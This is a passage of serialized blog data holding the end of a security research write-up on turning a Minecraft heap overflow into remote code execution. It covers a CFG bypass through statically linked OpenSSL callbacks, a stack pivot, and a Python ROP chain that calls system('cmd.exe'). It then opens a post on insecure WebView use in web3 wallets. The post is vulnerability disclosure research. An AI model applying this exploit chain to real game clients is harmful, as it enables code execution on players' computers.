",{"type":21,"tag":194,"props":155862,"children":155864},{"className":155863},[],[155865],{"type":27,"value":155866},"__guard_dispatch_icall_fptr",{"type":27,"value":155868}," is called - this is the CFG dispatch function that validates ",{"type":21,"tag":194,"props":155870,"children":155872},{"className":155871},[],[155873],{"type":27,"value":57151},{"type":27,"value":155875}," as a legal call target before invoking it.",{"type":21,"tag":30,"props":155877,"children":155878},{},[155879],{"type":27,"value":155880},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":21,"tag":30,"props":155882,"children":155883},{},[155884],{"type":21,"tag":1376,"props":155885,"children":155887},{"alt":50954,"src":155886},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":21,"tag":30,"props":155889,"children":155890},{},[155891,155893,155899,155901,155907],{"type":27,"value":155892},"Here, the function pointer at ",{"type":21,"tag":194,"props":155894,"children":155896},{"className":155895},[],[155897],{"type":27,"value":155898},"vtable + 0x10",{"type":27,"value":155900}," is loaded into ",{"type":21,"tag":194,"props":155902,"children":155904},{"className":155903},[],[155905],{"type":27,"value":155906},"rdx",{"type":27,"value":155908}," and then called directly.",{"type":21,"tag":30,"props":155910,"children":155911},{},[155912],{"type":27,"value":155913},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":21,"tag":30,"props":155915,"children":155916},{},[155917,155919,155924],{"type":27,"value":155918},"So the remaining task is to locate OpenSSL function or ",{"type":21,"tag":194,"props":155920,"children":155922},{"className":155921},[],[155923],{"type":27,"value":155321},{"type":27,"value":155925}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":21,"tag":162,"props":155927,"children":155929},{"id":155928},"locating-overwrite-targets",[155930],{"type":27,"value":155931},"Locating Overwrite Targets",{"type":21,"tag":30,"props":155933,"children":155934},{},[155935,155937,155943,155944,155949,155951,155956,155958,155964],{"type":27,"value":155936},"One of the first targets we identified were the ",{"type":21,"tag":194,"props":155938,"children":155940},{"className":155939},[],[155941],{"type":27,"value":155942},"malloc",{"type":27,"value":11801},{"type":21,"tag":194,"props":155945,"children":155947},{"className":155946},[],[155948],{"type":27,"value":150554},{"type":27,"value":155950}," callbacks. These reside in the ",{"type":21,"tag":194,"props":155952,"children":155954},{"className":155953},[],[155955],{"type":27,"value":155791},{"type":27,"value":155957}," section and are invoked whenever they don’t match the expected ",{"type":21,"tag":194,"props":155959,"children":155961},{"className":155960},[],[155962],{"type":27,"value":155963},"OPENSSL_malloc/free",{"type":27,"value":132412},{"type":21,"tag":30,"props":155966,"children":155967},{},[155968],{"type":21,"tag":1376,"props":155969,"children":155971},{"alt":50954,"src":155970},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":21,"tag":30,"props":155973,"children":155974},{},[155975],{"type":27,"value":155976},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":21,"tag":30,"props":155978,"children":155979},{},[155980,155982,155988,155990,155996,155998,156003],{"type":27,"value":155981},"Later, we found another promising function: ",{"type":21,"tag":194,"props":155983,"children":155985},{"className":155984},[],[155986],{"type":27,"value":155987},"ossl_ec_key_new_method_int",{"type":27,"value":155989},". This function creates and initializes an ",{"type":21,"tag":194,"props":155991,"children":155993},{"className":155992},[],[155994],{"type":27,"value":155995},"EC_KEY",{"type":27,"value":155997}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":21,"tag":194,"props":155999,"children":156001},{"className":156000},[],[156002],{"type":27,"value":155791},{"type":27,"value":156004},") containing function pointers:",{"type":21,"tag":30,"props":156006,"children":156007},{},[156008],{"type":21,"tag":1376,"props":156009,"children":156011},{"alt":50954,"src":156010},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":21,"tag":30,"props":156013,"children":156014},{},[156015,156017,156023,156024,156030,156032,156037,156039,156045,156047,156052,156054,156059,156061,156066],{"type":27,"value":156016},"In the image above, ",{"type":21,"tag":194,"props":156018,"children":156020},{"className":156019},[],[156021],{"type":27,"value":156022},"ret->meth",{"type":27,"value":125876},{"type":21,"tag":194,"props":156025,"children":156027},{"className":156026},[],[156028],{"type":27,"value":156029},"default_ec_key_meth",{"type":27,"value":156031},", which points to a structure of function pointers located in ",{"type":21,"tag":194,"props":156033,"children":156035},{"className":156034},[],[156036],{"type":27,"value":155791},{"type":27,"value":156038},". It then calls ",{"type":21,"tag":194,"props":156040,"children":156042},{"className":156041},[],[156043],{"type":27,"value":156044},"ret->meth->init",{"type":27,"value":156046},", passing the ",{"type":21,"tag":194,"props":156048,"children":156050},{"className":156049},[],[156051],{"type":27,"value":18495},{"type":27,"value":156053}," pointer (",{"type":21,"tag":194,"props":156055,"children":156057},{"className":156056},[],[156058],{"type":27,"value":11799},{"type":27,"value":156060},"). This alone isn’t especially useful because ",{"type":21,"tag":194,"props":156062,"children":156064},{"className":156063},[],[156065],{"type":27,"value":11799},{"type":27,"value":156067}," is heap-allocated.",{"type":21,"tag":30,"props":156069,"children":156070},{},[156071,156073,156078],{"type":27,"value":156072},"But, if we look at how ",{"type":21,"tag":194,"props":156074,"children":156076},{"className":156075},[],[156077],{"type":27,"value":156044},{"type":27,"value":156079}," is invoked in the disassembly:",{"type":21,"tag":30,"props":156081,"children":156082},{},[156083],{"type":21,"tag":1376,"props":156084,"children":156086},{"alt":50954,"src":156085},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":21,"tag":30,"props":156088,"children":156089},{},[156090,156091,156096,156098,156103,156105,156110,156112,156117,156119,156124,156126,156131,156133,156138,156140,156146],{"type":27,"value":8292},{"type":21,"tag":194,"props":156092,"children":156094},{"className":156093},[],[156095],{"type":27,"value":156044},{"type":27,"value":156097}," is not ",{"type":21,"tag":194,"props":156099,"children":156101},{"className":156100},[],[156102],{"type":27,"value":54872},{"type":27,"value":156104},", it is called while ",{"type":21,"tag":194,"props":156106,"children":156108},{"className":156107},[],[156109],{"type":27,"value":57151},{"type":27,"value":156111}," still contains the value of ",{"type":21,"tag":194,"props":156113,"children":156115},{"className":156114},[],[156116],{"type":27,"value":156022},{"type":27,"value":156118}," - that is, a pointer to the structure in ",{"type":21,"tag":194,"props":156120,"children":156122},{"className":156121},[],[156123],{"type":27,"value":155791},{"type":27,"value":156125}," that we control. This is ideal, because we can overwrite ",{"type":21,"tag":194,"props":156127,"children":156129},{"className":156128},[],[156130],{"type":27,"value":156029},{"type":27,"value":156132}," with a pointer to a region in ",{"type":21,"tag":194,"props":156134,"children":156136},{"className":156135},[],[156137],{"type":27,"value":155791},{"type":27,"value":156139}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":21,"tag":194,"props":156141,"children":156143},{"className":156142},[],[156144],{"type":27,"value":156145},"mov rsp, rax; ret",{"type":27,"value":156147},"-style gadget.",{"type":21,"tag":30,"props":156149,"children":156150},{},[156151,156153,156158,156160,156165],{"type":27,"value":156152},"Although we discovered that ",{"type":21,"tag":194,"props":156154,"children":156156},{"className":156155},[],[156157],{"type":27,"value":155987},{"type":27,"value":156159}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":21,"tag":194,"props":156161,"children":156163},{"className":156162},[],[156164],{"type":27,"value":155963},{"type":27,"value":156166}," callbacks.",{"type":21,"tag":162,"props":156168,"children":156170},{"id":156169},"stack-pivot",[156171],{"type":27,"value":156172},"Stack Pivot",{"type":21,"tag":30,"props":156174,"children":156175},{},[156176,156178,156183,156185,156190,156192,156197,156199,156205],{"type":27,"value":156177},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":21,"tag":194,"props":156179,"children":156181},{"className":156180},[],[156182],{"type":27,"value":155791},{"type":27,"value":156184},", overwrite ",{"type":21,"tag":194,"props":156186,"children":156188},{"className":156187},[],[156189],{"type":27,"value":156029},{"type":27,"value":156191}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":21,"tag":194,"props":156193,"children":156195},{"className":156194},[],[156196],{"type":27,"value":155987},{"type":27,"value":156198},". This ultimately calls ",{"type":21,"tag":194,"props":156200,"children":156202},{"className":156201},[],[156203],{"type":27,"value":156204},"default_ec_key_meth->init",{"type":27,"value":156206},", which executes the pivot and begins ROP execution.",{"type":21,"tag":30,"props":156208,"children":156209},{},[156210,156212,156218,156220,156226],{"type":27,"value":156211},"We chose to overwrite the ",{"type":21,"tag":194,"props":156213,"children":156215},{"className":156214},[],[156216],{"type":27,"value":156217},"OPENSSL_free",{"type":27,"value":156219}," callback. This produces only a minor memory leak, while overwriting ",{"type":21,"tag":194,"props":156221,"children":156223},{"className":156222},[],[156224],{"type":27,"value":156225},"OPENSSL_malloc",{"type":27,"value":156227}," would require our replacement function to return a writable, unused memory region.",{"type":21,"tag":30,"props":156229,"children":156230},{},[156231,156233,156239,156240,156246,156248,156253],{"type":27,"value":156232},"For the stack pivot, we found two useful gadgets: ",{"type":21,"tag":194,"props":156234,"children":156236},{"className":156235},[],[156237],{"type":27,"value":156238},"add rsp, 0x10; pop r14; ret",{"type":27,"value":11801},{"type":21,"tag":194,"props":156241,"children":156243},{"className":156242},[],[156244],{"type":27,"value":156245},"xchg rsp, rax; ret",{"type":27,"value":156247},". The exploit writes them into ",{"type":21,"tag":194,"props":156249,"children":156251},{"className":156250},[],[156252],{"type":27,"value":155791},{"type":27,"value":156254}," like this:",{"type":21,"tag":187,"props":156256,"children":156258},{"code":156257}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[156259],{"type":21,"tag":194,"props":156260,"children":156261},{"__ignoreMap":7},[156262],{"type":27,"value":156257},{"type":21,"tag":30,"props":156264,"children":156265},{},[156266,156268,156273,156275,156280,156282,156287,156289,156294,156296,156301,156303,156308,156310,156315],{"type":27,"value":156267},"The second gadget, ",{"type":21,"tag":194,"props":156269,"children":156271},{"className":156270},[],[156272],{"type":27,"value":156245},{"type":27,"value":156274},", is placed in the slot corresponding to the ",{"type":21,"tag":194,"props":156276,"children":156278},{"className":156277},[],[156279],{"type":27,"value":21534},{"type":27,"value":156281}," function pointer. As mentioned earlier, when ",{"type":21,"tag":194,"props":156283,"children":156285},{"className":156284},[],[156286],{"type":27,"value":156044},{"type":27,"value":156288}," is called, ",{"type":21,"tag":194,"props":156290,"children":156292},{"className":156291},[],[156293],{"type":27,"value":57151},{"type":27,"value":156295}," contains a pointer to ",{"type":21,"tag":194,"props":156297,"children":156299},{"className":156298},[],[156300],{"type":27,"value":156029},{"type":27,"value":156302}," - which we have overwritten and now points to our ",{"type":21,"tag":194,"props":156304,"children":156306},{"className":156305},[],[156307],{"type":27,"value":156238},{"type":27,"value":156309}," gadget in ",{"type":21,"tag":194,"props":156311,"children":156313},{"className":156312},[],[156314],{"type":27,"value":155791},{"type":27,"value":658},{"type":21,"tag":30,"props":156317,"children":156318},{},[156319,156321,156327,156329,156334,156336,156342,156344,156349,156351,156356,156358,156363,156365,156370,156372,156377,156379,156384],{"type":27,"value":156320},"When the call occurs, ",{"type":21,"tag":194,"props":156322,"children":156324},{"className":156323},[],[156325],{"type":27,"value":156326},"xchg rsp, rax",{"type":27,"value":156328}," swaps the stack pointer with this controlled pointer inside ",{"type":21,"tag":194,"props":156330,"children":156332},{"className":156331},[],[156333],{"type":27,"value":155791},{"type":27,"value":156335},", effectively moving ",{"type":21,"tag":194,"props":156337,"children":156339},{"className":156338},[],[156340],{"type":27,"value":156341},"rsp",{"type":27,"value":156343}," into our ROP region. After the ",{"type":21,"tag":194,"props":156345,"children":156347},{"className":156346},[],[156348],{"type":27,"value":11799},{"type":27,"value":156350},", execution continues at ",{"type":21,"tag":194,"props":156352,"children":156354},{"className":156353},[],[156355],{"type":27,"value":156238},{"type":27,"value":156357},", which advances ",{"type":21,"tag":194,"props":156359,"children":156361},{"className":156360},[],[156362],{"type":27,"value":156341},{"type":27,"value":156364}," by ",{"type":21,"tag":194,"props":156366,"children":156368},{"className":156367},[],[156369],{"type":27,"value":45291},{"type":27,"value":156371}," bytes, skipping over the padding and the ",{"type":21,"tag":194,"props":156373,"children":156375},{"className":156374},[],[156376],{"type":27,"value":156245},{"type":27,"value":156378}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":21,"tag":194,"props":156380,"children":156382},{"className":156381},[],[156383],{"type":27,"value":156245},{"type":27,"value":156385},") begins executing.",{"type":21,"tag":59,"props":156387,"children":156389},{"id":156388},"rop-chain",[156390],{"type":27,"value":156391},"ROP Chain",{"type":21,"tag":30,"props":156393,"children":156394},{},[156395,156397,156403,156405,156410],{"type":27,"value":156396},"For the demo, the ROP chain simply calls ",{"type":21,"tag":194,"props":156398,"children":156400},{"className":156399},[],[156401],{"type":27,"value":156402},"system(\"cmd.exe\")",{"type":27,"value":156404},". Because Minecraft does not use ",{"type":21,"tag":194,"props":156406,"children":156408},{"className":156407},[],[156409],{"type":27,"value":132134},{"type":27,"value":156411},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":21,"tag":30,"props":156413,"children":156414},{},[156415,156417,156423,156425,156431,156433,156438,156440,156446,156448,156453],{"type":27,"value":156416},"This is straightforward: the chain first calls ",{"type":21,"tag":194,"props":156418,"children":156420},{"className":156419},[],[156421],{"type":27,"value":156422},"GetModuleHandle(\"ucrtbase.dll\")",{"type":27,"value":156424}," to obtain the base address of ",{"type":21,"tag":194,"props":156426,"children":156428},{"className":156427},[],[156429],{"type":27,"value":156430},"ucrtbase.dll",{"type":27,"value":156432}," (which exports ",{"type":21,"tag":194,"props":156434,"children":156436},{"className":156435},[],[156437],{"type":27,"value":132134},{"type":27,"value":156439},"). It then calls ",{"type":21,"tag":194,"props":156441,"children":156443},{"className":156442},[],[156444],{"type":27,"value":156445},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":27,"value":156447}," to retrieve the function’s address. Finally, it invokes ",{"type":21,"tag":194,"props":156449,"children":156451},{"className":156450},[],[156452],{"type":27,"value":132134},{"type":27,"value":156454}," with the \"cmd.exe\" string.",{"type":21,"tag":30,"props":156456,"children":156457},{},[156458],{"type":27,"value":156459},"In the exploit script, the ROP chain looks something like this:",{"type":21,"tag":187,"props":156461,"children":156463},{"code":156462,"language":20255,"meta":7,"className":20256,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[156464],{"type":21,"tag":194,"props":156465,"children":156466},{"__ignoreMap":7},[156467,156475,156483,156508,156516,156524,156531,156539,156547,156574,156587,156600,156621,156650,156679,156686,156694,156707,156715,156751,156759,156766,156774,156781,156806,156817,156829],{"type":21,"tag":198,"props":156468,"children":156469},{"class":200,"line":201},[156470],{"type":21,"tag":198,"props":156471,"children":156472},{"style":1233},[156473],{"type":27,"value":156474},"# get the address of `GetModuleHandle` to `rax`\n",{"type":21,"tag":198,"props":156476,"children":156477},{"class":200,"line":217},[156478],{"type":21,"tag":198,"props":156479,"children":156480},{"style":211},[156481],{"type":27,"value":156482},"rop.gadget(pop_r8)\n",{"type":21,"tag":198,"props":156484,"children":156485},{"class":200,"line":236},[156486,156491,156495,156500,156504],{"type":21,"tag":198,"props":156487,"children":156488},{"style":211},[156489],{"type":27,"value":156490},"rop.gadget(addr_get_module_handle_a ",{"type":21,"tag":198,"props":156492,"children":156493},{"style":683},[156494],{"type":27,"value":5139},{"type":21,"tag":198,"props":156496,"children":156497},{"style":249},[156498],{"type":27,"value":156499}," 0x",{"type":21,"tag":198,"props":156501,"children":156502},{"style":2540},[156503],{"type":27,"value":135251},{"type":21,"tag":198,"props":156505,"children":156506},{"style":211},[156507],{"type":27,"value":789},{"type":21,"tag":198,"props":156509,"children":156510},{"class":200,"line":260},[156511],{"type":21,"tag":198,"props":156512,"children":156513},{"style":1233},[156514],{"type":27,"value":156515},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":21,"tag":198,"props":156517,"children":156518},{"class":200,"line":281},[156519],{"type":21,"tag":198,"props":156520,"children":156521},{"style":211},[156522],{"type":27,"value":156523},"rop.gadget(mov_rax_r8_28)\n",{"type":21,"tag":198,"props":156525,"children":156526},{"class":200,"line":302},[156527],{"type":21,"tag":198,"props":156528,"children":156529},{"emptyLinePlaceholder":16},[156530],{"type":27,"value":1283},{"type":21,"tag":198,"props":156532,"children":156533},{"class":200,"line":323},[156534],{"type":21,"tag":198,"props":156535,"children":156536},{"style":1233},[156537],{"type":27,"value":156538},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":21,"tag":198,"props":156540,"children":156541},{"class":200,"line":344},[156542],{"type":21,"tag":198,"props":156543,"children":156544},{"style":211},[156545],{"type":27,"value":156546},"rop.gadget(pop_rcx)\n",{"type":21,"tag":198,"props":156548,"children":156549},{"class":200,"line":365},[156550,156555,156560,156565,156569],{"type":21,"tag":198,"props":156551,"children":156552},{"style":211},[156553],{"type":27,"value":156554},"rop.gadget(",{"type":21,"tag":198,"props":156556,"children":156557},{"style":249},[156558],{"type":27,"value":156559},"0x",{"type":21,"tag":198,"props":156561,"children":156562},{"style":2540},[156563],{"type":27,"value":156564},"7468B68",{"type":21,"tag":198,"props":156566,"children":156567},{"style":211},[156568],{"type":27,"value":1541},{"type":21,"tag":198,"props":156570,"children":156571},{"style":1233},[156572],{"type":27,"value":156573},"# offset of \"ucrtbase.dll\" string\n",{"type":21,"tag":198,"props":156575,"children":156576},{"class":200,"line":386},[156577,156582],{"type":21,"tag":198,"props":156578,"children":156579},{"style":211},[156580],{"type":27,"value":156581},"rop.gadget(ret) ",{"type":21,"tag":198,"props":156583,"children":156584},{"style":1233},[156585],{"type":27,"value":156586},"# movaps alignment\n",{"type":21,"tag":198,"props":156588,"children":156589},{"class":200,"line":408},[156590,156595],{"type":21,"tag":198,"props":156591,"children":156592},{"style":211},[156593],{"type":27,"value":156594},"rop.gadget(push_rax_ret) ",{"type":21,"tag":198,"props":156596,"children":156597},{"style":1233},[156598],{"type":27,"value":156599},"# calls `GetModuleHandle`\n",{"type":21,"tag":198,"props":156601,"children":156602},{"class":200,"line":429},[156603,156608,156612,156617],{"type":21,"tag":198,"props":156604,"children":156605},{"style":211},[156606],{"type":27,"value":156607},"rop.literal(u64(",{"type":21,"tag":198,"props":156609,"children":156610},{"style":249},[156611],{"type":27,"value":4029},{"type":21,"tag":198,"props":156613,"children":156614},{"style":205},[156615],{"type":27,"value":156616},"\"ucrtbase\"",{"type":21,"tag":198,"props":156618,"children":156619},{"style":211},[156620],{"type":27,"value":872},{"type":21,"tag":198,"props":156622,"children":156623},{"class":200,"line":450},[156624,156628,156632,156637,156642,156646],{"type":21,"tag":198,"props":156625,"children":156626},{"style":211},[156627],{"type":27,"value":156607},{"type":21,"tag":198,"props":156629,"children":156630},{"style":249},[156631],{"type":27,"value":4029},{"type":21,"tag":198,"props":156633,"children":156634},{"style":205},[156635],{"type":27,"value":156636},"\".dll",{"type":21,"tag":198,"props":156638,"children":156639},{"style":1457},[156640],{"type":27,"value":156641},"\\x00\\x00\\x00\\x00",{"type":21,"tag":198,"props":156643,"children":156644},{"style":205},[156645],{"type":27,"value":20854},{"type":21,"tag":198,"props":156647,"children":156648},{"style":211},[156649],{"type":27,"value":872},{"type":21,"tag":198,"props":156651,"children":156652},{"class":200,"line":468},[156653,156657,156661,156666,156671,156675],{"type":21,"tag":198,"props":156654,"children":156655},{"style":211},[156656],{"type":27,"value":156607},{"type":21,"tag":198,"props":156658,"children":156659},{"style":249},[156660],{"type":27,"value":4029},{"type":21,"tag":198,"props":156662,"children":156663},{"style":205},[156664],{"type":27,"value":156665},"\"system",{"type":21,"tag":198,"props":156667,"children":156668},{"style":1457},[156669],{"type":27,"value":156670},"\\x00\\x00",{"type":21,"tag":198,"props":156672,"children":156673},{"style":205},[156674],{"type":27,"value":20854},{"type":21,"tag":198,"props":156676,"children":156677},{"style":211},[156678],{"type":27,"value":872},{"type":21,"tag":198,"props":156680,"children":156681},{"class":200,"line":477},[156682],{"type":21,"tag":198,"props":156683,"children":156684},{"emptyLinePlaceholder":16},[156685],{"type":27,"value":1283},{"type":21,"tag":198,"props":156687,"children":156688},{"class":200,"line":494},[156689],{"type":21,"tag":198,"props":156690,"children":156691},{"style":1233},[156692],{"type":27,"value":156693},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":21,"tag":198,"props":156695,"children":156696},{"class":200,"line":515},[156697,156702],{"type":21,"tag":198,"props":156698,"children":156699},{"style":211},[156700],{"type":27,"value":156701},"rop.gadget(xchg_rcx_rax) ",{"type":21,"tag":198,"props":156703,"children":156704},{"style":1233},[156705],{"type":27,"value":156706},"# move the return value of `GetModuleHandle` to rcx\n",{"type":21,"tag":198,"props":156708,"children":156709},{"class":200,"line":4484},[156710],{"type":21,"tag":198,"props":156711,"children":156712},{"style":211},[156713],{"type":27,"value":156714},"rop.gadget(pop_rdx)\n",{"type":21,"tag":198,"props":156716,"children":156717},{"class":200,"line":4493},[156718,156722,156726,156730,156734,156738,156742,156746],{"type":21,"tag":198,"props":156719,"children":156720},{"style":211},[156721],{"type":27,"value":156554},{"type":21,"tag":198,"props":156723,"children":156724},{"style":249},[156725],{"type":27,"value":156559},{"type":21,"tag":198,"props":156727,"children":156728},{"style":2540},[156729],{"type":27,"value":156564},{"type":21,"tag":198,"props":156731,"children":156732},{"style":683},[156733],{"type":27,"value":1440},{"type":21,"tag":198,"props":156735,"children":156736},{"style":249},[156737],{"type":27,"value":156499},{"type":21,"tag":198,"props":156739,"children":156740},{"style":2540},[156741],{"type":27,"value":89635},{"type":21,"tag":198,"props":156743,"children":156744},{"style":211},[156745],{"type":27,"value":1541},{"type":21,"tag":198,"props":156747,"children":156748},{"style":1233},[156749],{"type":27,"value":156750},"# offset of \"system\" string\n",{"type":21,"tag":198,"props":156752,"children":156753},{"class":200,"line":4561},[156754],{"type":21,"tag":198,"props":156755,"children":156756},{"style":211},[156757],{"type":27,"value":156758},"rop.gadget(get_proc_addr)\n",{"type":21,"tag":198,"props":156760,"children":156761},{"class":200,"line":4569},[156762],{"type":21,"tag":198,"props":156763,"children":156764},{"emptyLinePlaceholder":16},[156765],{"type":27,"value":1283},{"type":21,"tag":198,"props":156767,"children":156768},{"class":200,"line":4599},[156769],{"type":21,"tag":198,"props":156770,"children":156771},{"style":1233},[156772],{"type":27,"value":156773},"# call `system(\"cmd.exe\")`\n",{"type":21,"tag":198,"props":156775,"children":156776},{"class":200,"line":4607},[156777],{"type":21,"tag":198,"props":156778,"children":156779},{"style":211},[156780],{"type":27,"value":156546},{"type":21,"tag":198,"props":156782,"children":156783},{"class":200,"line":4638},[156784,156788,156792,156797,156801],{"type":21,"tag":198,"props":156785,"children":156786},{"style":211},[156787],{"type":27,"value":156554},{"type":21,"tag":198,"props":156789,"children":156790},{"style":249},[156791],{"type":27,"value":156559},{"type":21,"tag":198,"props":156793,"children":156794},{"style":2540},[156795],{"type":27,"value":156796},"7468DB8",{"type":21,"tag":198,"props":156798,"children":156799},{"style":211},[156800],{"type":27,"value":1541},{"type":21,"tag":198,"props":156802,"children":156803},{"style":1233},[156804],{"type":27,"value":156805},"# offset of \"cmd.exe\" string\n",{"type":21,"tag":198,"props":156807,"children":156808},{"class":200,"line":4646},[156809,156813],{"type":21,"tag":198,"props":156810,"children":156811},{"style":211},[156812],{"type":27,"value":156581},{"type":21,"tag":198,"props":156814,"children":156815},{"style":1233},[156816],{"type":27,"value":156586},{"type":21,"tag":198,"props":156818,"children":156819},{"class":200,"line":4706},[156820,156824],{"type":21,"tag":198,"props":156821,"children":156822},{"style":211},[156823],{"type":27,"value":156594},{"type":21,"tag":198,"props":156825,"children":156826},{"style":1233},[156827],{"type":27,"value":156828},"# calls `system`\n",{"type":21,"tag":198,"props":156830,"children":156831},{"class":200,"line":9857},[156832,156836,156840,156845,156850,156854],{"type":21,"tag":198,"props":156833,"children":156834},{"style":211},[156835],{"type":27,"value":156607},{"type":21,"tag":198,"props":156837,"children":156838},{"style":249},[156839],{"type":27,"value":4029},{"type":21,"tag":198,"props":156841,"children":156842},{"style":205},[156843],{"type":27,"value":156844},"\"cmd.exe",{"type":21,"tag":198,"props":156846,"children":156847},{"style":1457},[156848],{"type":27,"value":156849},"\\x00",{"type":21,"tag":198,"props":156851,"children":156852},{"style":205},[156853],{"type":27,"value":20854},{"type":21,"tag":198,"props":156855,"children":156856},{"style":211},[156857],{"type":27,"value":872},{"type":21,"tag":59,"props":156859,"children":156861},{"id":156860},"demo",[156862],{"type":27,"value":156863},"Demo",{"type":21,"tag":30,"props":156865,"children":156866},{},[156867],{"type":27,"value":156868},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":21,"tag":132240,"props":156870,"children":156873},{"className":156871,"controls":16},[142207,156872],"blog-video-wide",[156874,156875,156879],{"type":27,"value":142210},{"type":21,"tag":141446,"props":156876,"children":156878},{"src":156877,"type":132238},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":27,"value":142216},{"type":21,"tag":22,"props":156881,"children":156882},{"id":3586},[156883],{"type":27,"value":3589},{"type":21,"tag":30,"props":156885,"children":156886},{},[156887],{"type":27,"value":156888},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":21,"tag":30,"props":156890,"children":156891},{},[156892],{"type":27,"value":156893},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":21,"tag":30,"props":156895,"children":156896},{},[156897],{"type":27,"value":156898},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":21,"tag":3645,"props":156900,"children":156901},{},[156902],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":156904},[156905,156909,156914,156925],{"id":147565,"depth":217,"text":147568,"children":156906},[156907,156908],{"id":147600,"depth":236,"text":147603},{"id":147616,"depth":236,"text":147619},{"id":147637,"depth":217,"text":147640,"children":156910},[156911,156912,156913],{"id":147653,"depth":236,"text":147656},{"id":147741,"depth":236,"text":147744},{"id":150041,"depth":236,"text":150044},{"id":6232,"depth":217,"text":6235,"children":156915},[156916,156917,156918,156919,156920,156921,156922,156923,156924],{"id":150148,"depth":236,"text":150151},{"id":150173,"depth":236,"text":150176},{"id":150310,"depth":236,"text":150313},{"id":152474,"depth":236,"text":152477},{"id":152836,"depth":236,"text":152839},{"id":153656,"depth":236,"text":153659},{"id":155770,"depth":236,"text":155773},{"id":156388,"depth":236,"text":156391},{"id":156860,"depth":236,"text":156863},{"id":3586,"depth":217,"text":3589},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":156930,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156931,"description":156932,"date":156933,"author":156934,"image":156936,"isFeatured":16,"onBlogPage":16,"tags":156938,"body":156940,"_type":3671,"_id":159263,"_source":3673,"_file":159264,"_stem":159265,"_extension":3676},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[11,12,156935],"nikolaos",{"src":156937,"width":97650,"height":14430},"/posts/insecure-webview-integrations/title.png",[32927,132346,156939],"webview",{"type":18,"children":156941,"toc":159250},[156942,156947,156952,156958,156963,156968,156973,156979,156984,156990,157012,157025,157045,157059,157065,157079,157087,157092,157098,157103,157112,157133,157277,157282,157288,157293,157298,157312,157316,157321,157339,158767,158771,158776,158788,158797,158802,158808,158830,158838,158843,158849,158854,158872,158877,158883,158896,159178,159206,159219,159224,159237,159241,159246],{"type":21,"tag":30,"props":156943,"children":156944},{},[156945],{"type":27,"value":156946},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":21,"tag":30,"props":156948,"children":156949},{},[156950],{"type":27,"value":156951},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":21,"tag":36146,"props":156953,"children":156955},{"id":156954},"exploiting-mobile-webviews",[156956],{"type":27,"value":156957},"Exploiting Mobile WebViews",{"type":21,"tag":30,"props":156959,"children":156960},{},[156961],{"type":27,"value":156962},"A well known feature 